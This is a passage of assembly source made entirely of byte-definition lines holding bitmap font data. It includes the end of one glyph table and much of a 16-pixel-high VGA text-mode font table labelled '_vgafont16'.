db 000h, 000h, 07ch, 0c6h, 0fch, 0c6h, 0c6h, 0fch, 0c0h, 0c0h, 040h, 000h, 000h, 000h, 0feh, 0c6h
db 0c6h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 06ch
db 06ch, 06ch, 06ch, 06ch, 06ch, 000h, 000h, 000h, 000h, 000h, 0feh, 0c6h, 060h, 030h, 018h, 030h
db 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 0d8h, 0d8h, 0d8h, 0d8h
db 070h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0c0h
db 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h
db 000h, 000h, 07eh, 018h, 03ch, 066h, 066h, 066h, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h, 000h
db 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 038h, 06ch
db 0c6h, 0c6h, 0c6h, 06ch, 06ch, 06ch, 0eeh, 000h, 000h, 000h, 000h, 000h, 01eh, 030h, 018h, 00ch
db 03eh, 066h, 066h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07eh, 0dbh, 0dbh
db 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 003h, 006h, 07eh, 0dbh, 0dbh, 0f3h, 07eh, 060h
db 0c0h, 000h, 000h, 000h, 000h, 000h, 01ch, 030h, 060h, 060h, 07ch, 060h, 060h, 030h, 01ch, 000h
db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h
db 000h, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 0ffh, 000h, 000h, 000h, 000h, 000h, 030h, 018h
db 00ch, 006h, 00ch, 018h, 030h, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 00ch, 018h, 030h, 060h
db 030h, 018h, 00ch, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 00eh, 01bh, 01bh, 018h, 018h, 018h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 0d8h, 0d8h
db 070h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 07eh, 000h, 018h, 018h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 076h, 0dch, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h
db 000h, 038h, 06ch, 06ch, 038h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00fh, 00ch, 00ch, 00ch, 00ch
db 00ch, 0ech, 06ch, 03ch, 01ch, 000h, 000h, 000h, 000h, 0d8h, 06ch, 06ch, 06ch, 06ch, 06ch, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 070h, 0d8h, 030h, 060h, 0c8h, 0f8h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 07ch, 07ch, 07ch, 07ch, 07ch, 07ch, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
_vgafont16: ; 0xc69ed LB 0x1000
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 07eh, 081h, 0a5h, 081h, 081h, 0bdh, 099h, 081h, 081h, 07eh, 000h, 000h, 000h, 000h
db 000h, 000h, 07eh, 0ffh, 0dbh, 0ffh, 0ffh, 0c3h, 0e7h, 0ffh, 0ffh, 07eh, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 06ch, 0feh, 0feh, 0feh, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 038h, 07ch, 0feh, 07ch, 038h, 010h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 018h, 03ch, 03ch, 0e7h, 0e7h, 0e7h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 018h, 03ch, 07eh, 0ffh, 0ffh, 07eh, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 018h, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0e7h, 0c3h, 0c3h, 0e7h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 000h, 000h, 000h, 000h, 000h, 03ch, 066h, 042h, 042h, 066h, 03ch, 000h, 000h, 000h, 000h, 000h
db 0ffh, 0ffh, 0ffh, 0ffh, 0ffh, 0c3h, 099h, 0bdh, 0bdh, 099h, 0c3h, 0ffh, 0ffh, 0ffh, 0ffh, 0ffh
db 000h, 000h, 01eh, 00eh, 01ah, 032h, 078h, 0cch, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 066h, 066h, 066h, 066h, 03ch, 018h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 03fh, 033h, 03fh, 030h, 030h, 030h, 030h, 070h, 0f0h, 0e0h, 000h, 000h, 000h, 000h
db 000h, 000h, 07fh, 063h, 07fh, 063h, 063h, 063h, 063h, 067h, 0e7h, 0e6h, 0c0h, 000h, 000h, 000h
db 000h, 000h, 000h, 018h, 018h, 0dbh, 03ch, 0e7h, 03ch, 0dbh, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 080h, 0c0h, 0e0h, 0f0h, 0f8h, 0feh, 0f8h, 0f0h, 0e0h, 0c0h, 080h, 000h, 000h, 000h, 000h
db 000h, 002h, 006h, 00eh, 01eh, 03eh, 0feh, 03eh, 01eh, 00eh, 006h, 002h, 000h, 000h, 000h, 000h
db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 066h, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 066h, 066h, 000h, 000h, 000h, 000h
db 000h, 000h, 07fh, 0dbh, 0dbh, 0dbh, 07bh, 01bh, 01bh, 01bh, 01bh, 01bh, 000h, 000h, 000h, 000h
db 000h, 07ch, 0c6h, 060h, 038h, 06ch, 0c6h, 0c6h, 06ch, 038h, 00ch, 0c6h, 07ch, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0feh, 0feh, 0feh, 000h, 000h, 000h, 000h
db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 07eh, 03ch, 018h, 07eh, 000h, 000h, 000h, 000h
db 000h, 000h, 018h, 03ch, 07eh, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 03ch, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 018h, 00ch, 0feh, 00ch, 018h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 030h, 060h, 0feh, 060h, 030h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 0c0h, 0c0h, 0c0h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 024h, 066h, 0ffh, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 038h, 038h, 07ch, 07ch, 0feh, 0feh, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0feh, 0feh, 07ch, 07ch, 038h, 038h, 010h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 018h, 03ch, 03ch, 03ch, 018h, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 066h, 066h, 066h, 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 06ch, 06ch, 0feh, 06ch, 06ch, 06ch, 0feh, 06ch, 06ch, 000h, 000h, 000h, 000h
db 018h, 018h, 07ch, 0c6h, 0c2h, 0c0h, 07ch, 006h, 006h, 086h, 0c6h, 07ch, 018h, 018h, 000h, 000h
db 000h, 000h, 000h, 000h, 0c2h, 0c6h, 00ch, 018h, 030h, 060h, 0c6h, 086h, 000h, 000h, 000h, 000h
db 000h, 000h, 038h, 06ch, 06ch, 038h, 076h, 0dch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 030h, 030h, 030h, 060h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 00ch, 018h, 030h, 030h, 030h, 030h, 030h, 030h, 018h, 00ch, 000h, 000h, 000h, 000h
db 000h, 000h, 030h, 018h, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 018h, 030h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 066h, 03ch, 0ffh, 03ch, 066h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 018h, 018h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 018h, 030h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 080h, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 066h, 0c3h, 0c3h, 0dbh, 0dbh, 0c3h, 0c3h, 066h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 018h, 038h, 078h, 018h, 018h, 018h, 018h, 018h, 018h, 07eh, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 006h, 00ch, 018h, 030h, 060h, 0c0h, 0c6h, 0feh, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 006h, 006h, 03ch, 006h, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 00ch, 01ch, 03ch, 06ch, 0cch, 0feh, 00ch, 00ch, 00ch, 01eh, 000h, 000h, 000h, 000h
db 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0fch, 006h, 006h, 006h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 038h, 060h, 0c0h, 0c0h, 0fch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0feh, 0c6h, 006h, 006h, 00ch, 018h, 030h, 030h, 030h, 030h, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 07eh, 006h, 006h, 006h, 00ch, 078h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 018h, 018h, 030h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 006h, 00ch, 018h, 030h, 060h, 030h, 018h, 00ch, 006h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 07eh, 000h, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 060h, 030h, 018h, 00ch, 006h, 00ch, 018h, 030h, 060h, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0c6h, 00ch, 018h, 018h, 018h, 000h, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0deh, 0deh, 0deh, 0dch, 0c0h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h
db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 066h, 066h, 066h, 066h, 0fch, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0f8h, 06ch, 066h, 066h, 066h, 066h, 066h, 066h, 06ch, 0f8h, 000h, 000h, 000h, 000h
db 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 062h, 066h, 0feh, 000h, 000h, 000h, 000h
db 000h, 000h, 0feh, 066h, 062h, 068h, 078h, 068h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0deh, 0c6h, 0c6h, 066h, 03ah, 000h, 000h, 000h, 000h
db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 01eh, 00ch, 00ch, 00ch, 00ch, 00ch, 0cch, 0cch, 0cch, 078h, 000h, 000h, 000h, 000h
db 000h, 000h, 0e6h, 066h, 066h, 06ch, 078h, 078h, 06ch, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h
db 000h, 000h, 0f0h, 060h, 060h, 060h, 060h, 060h, 060h, 062h, 066h, 0feh, 000h, 000h, 000h, 000h
db 000h, 000h, 0c3h, 0e7h, 0ffh, 0ffh, 0dbh, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 000h, 000h, 000h, 000h
db 000h, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 060h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0d6h, 0deh, 07ch, 00ch, 00eh, 000h, 000h
db 000h, 000h, 0fch, 066h, 066h, 066h, 07ch, 06ch, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h
db 000h, 000h, 07ch, 0c6h, 0c6h, 060h, 038h, 00ch, 006h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0ffh, 0dbh, 099h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 066h, 000h, 000h, 000h, 000h
db 000h, 000h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 03ch, 066h, 0c3h, 0c3h, 000h, 000h, 000h, 000h
db 000h, 000h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0ffh, 0c3h, 086h, 00ch, 018h, 030h, 060h, 0c1h, 0c3h, 0ffh, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 030h, 030h, 030h, 030h, 030h, 030h, 030h, 030h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 080h, 0c0h, 0e0h, 070h, 038h, 01ch, 00eh, 006h, 002h, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 00ch, 03ch, 000h, 000h, 000h, 000h
db 010h, 038h, 06ch, 0c6h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 0ffh, 000h, 000h
db 030h, 030h, 018h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 000h, 0e0h, 060h, 060h, 078h, 06ch, 066h, 066h, 066h, 066h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c0h, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 01ch, 00ch, 00ch, 03ch, 06ch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 0cch, 0cch, 07ch, 00ch, 0cch, 078h, 000h
db 000h, 000h, 0e0h, 060h, 060h, 06ch, 076h, 066h, 066h, 066h, 066h, 0e6h, 000h, 000h, 000h, 000h
db 000h, 000h, 018h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 006h, 006h, 000h, 00eh, 006h, 006h, 006h, 006h, 006h, 006h, 066h, 066h, 03ch, 000h
db 000h, 000h, 0e0h, 060h, 060h, 066h, 06ch, 078h, 078h, 06ch, 066h, 0e6h, 000h, 000h, 000h, 000h
db 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0e6h, 0ffh, 0dbh, 0dbh, 0dbh, 0dbh, 0dbh, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 07ch, 060h, 060h, 0f0h, 000h
db 000h, 000h, 000h, 000h, 000h, 076h, 0cch, 0cch, 0cch, 0cch, 0cch, 07ch, 00ch, 00ch, 01eh, 000h
db 000h, 000h, 000h, 000h, 000h, 0dch, 076h, 066h, 060h, 060h, 060h, 0f0h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 07ch, 0c6h, 060h, 038h, 00ch, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 010h, 030h, 030h, 0fch, 030h, 030h, 030h, 030h, 036h, 01ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0c3h, 066h, 03ch, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0c3h, 0c3h, 0c3h, 0dbh, 0dbh, 0ffh, 066h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0c3h, 066h, 03ch, 018h, 03ch, 066h, 0c3h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 0f8h, 000h
db 000h, 000h, 000h, 000h, 000h, 0feh, 0cch, 018h, 030h, 060h, 0c6h, 0feh, 000h, 000h, 000h, 000h
db 000h, 000h, 00eh, 018h, 018h, 018h, 070h, 018h, 018h, 018h, 018h, 00eh, 000h, 000h, 000h, 000h
db 000h, 000h, 018h, 018h, 018h, 018h, 000h, 018h, 018h, 018h, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 070h, 018h, 018h, 018h, 00eh, 018h, 018h, 018h, 018h, 070h, 000h, 000h, 000h, 000h
db 000h, 000h, 076h, 0dch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0c6h, 0feh, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 03ch, 066h, 0c2h, 0c0h, 0c0h, 0c0h, 0c2h, 066h, 03ch, 00ch, 006h, 07ch, 000h, 000h
db 000h, 000h, 0cch, 000h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 00ch, 018h, 030h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 010h, 038h, 06ch, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 000h, 0cch, 000h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 060h, 030h, 018h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 038h, 06ch, 038h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 03ch, 066h, 060h, 060h, 066h, 03ch, 00ch, 006h, 03ch, 000h, 000h, 000h
db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0c6h, 000h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0feh, 0c0h, 0c0h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 066h, 000h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 018h, 03ch, 066h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 060h, 030h, 018h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 0c6h, 000h, 010h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h
db 038h, 06ch, 038h, 000h, 038h, 06ch, 0c6h, 0c6h, 0feh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h
db 018h, 030h, 060h, 000h, 0feh, 066h, 060h, 07ch, 060h, 060h, 066h, 0feh, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 06eh, 03bh, 01bh, 07eh, 0d8h, 0dch, 077h, 000h, 000h, 000h, 000h
db 000h, 000h, 03eh, 06ch, 0cch, 0cch, 0feh, 0cch, 0cch, 0cch, 0cch, 0ceh, 000h, 000h, 000h, 000h
db 000h, 010h, 038h, 06ch, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 0c6h, 000h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 060h, 030h, 018h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 030h, 078h, 0cch, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 060h, 030h, 018h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 000h, 0c6h, 000h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07eh, 006h, 00ch, 078h, 000h
db 000h, 0c6h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 0c6h, 000h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 018h, 018h, 07eh, 0c3h, 0c0h, 0c0h, 0c0h, 0c3h, 07eh, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 038h, 06ch, 064h, 060h, 0f0h, 060h, 060h, 060h, 060h, 0e6h, 0fch, 000h, 000h, 000h, 000h
db 000h, 000h, 0c3h, 066h, 03ch, 018h, 0ffh, 018h, 0ffh, 018h, 018h, 018h, 000h, 000h, 000h, 000h
db 000h, 0fch, 066h, 066h, 07ch, 062h, 066h, 06fh, 066h, 066h, 066h, 0f3h, 000h, 000h, 000h, 000h
db 000h, 00eh, 01bh, 018h, 018h, 018h, 07eh, 018h, 018h, 018h, 018h, 018h, 0d8h, 070h, 000h, 000h
db 000h, 018h, 030h, 060h, 000h, 078h, 00ch, 07ch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 00ch, 018h, 030h, 000h, 038h, 018h, 018h, 018h, 018h, 018h, 03ch, 000h, 000h, 000h, 000h
db 000h, 018h, 030h, 060h, 000h, 07ch, 0c6h, 0c6h, 0c6h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 018h, 030h, 060h, 000h, 0cch, 0cch, 0cch, 0cch, 0cch, 0cch, 076h, 000h, 000h, 000h, 000h
db 000h, 000h, 076h, 0dch, 000h, 0dch, 066h, 066h, 066h, 066h, 066h, 066h, 000h, 000h, 000h, 000h
db 076h, 0dch, 000h, 0c6h, 0e6h, 0f6h, 0feh, 0deh, 0ceh, 0c6h, 0c6h, 0c6h, 000h, 000h, 000h, 000h
db 000h, 03ch, 06ch, 06ch, 03eh, 000h, 07eh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 038h, 06ch, 06ch, 038h, 000h, 07ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 030h, 030h, 000h, 030h, 030h, 060h, 0c0h, 0c6h, 0c6h, 07ch, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 0c0h, 0c0h, 0c0h, 0c0h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 0feh, 006h, 006h, 006h, 006h, 000h, 000h, 000h, 000h, 000h
db 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 060h, 0ceh, 09bh, 006h, 00ch, 01fh, 000h, 000h
db 000h, 0c0h, 0c0h, 0c2h, 0c6h, 0cch, 018h, 030h, 066h, 0ceh, 096h, 03eh, 006h, 006h, 000h, 000h
db 000h, 000h, 018h, 018h, 000h, 018h, 018h, 018h, 03ch, 03ch, 03ch, 018h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 036h, 06ch, 0d8h, 06ch, 036h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 0d8h, 06ch, 036h, 06ch, 0d8h, 000h, 000h, 000h, 000h, 000h, 000h
db 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h, 011h, 044h
db 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah, 055h, 0aah
db 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h, 0ddh, 077h
db 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h, 018h
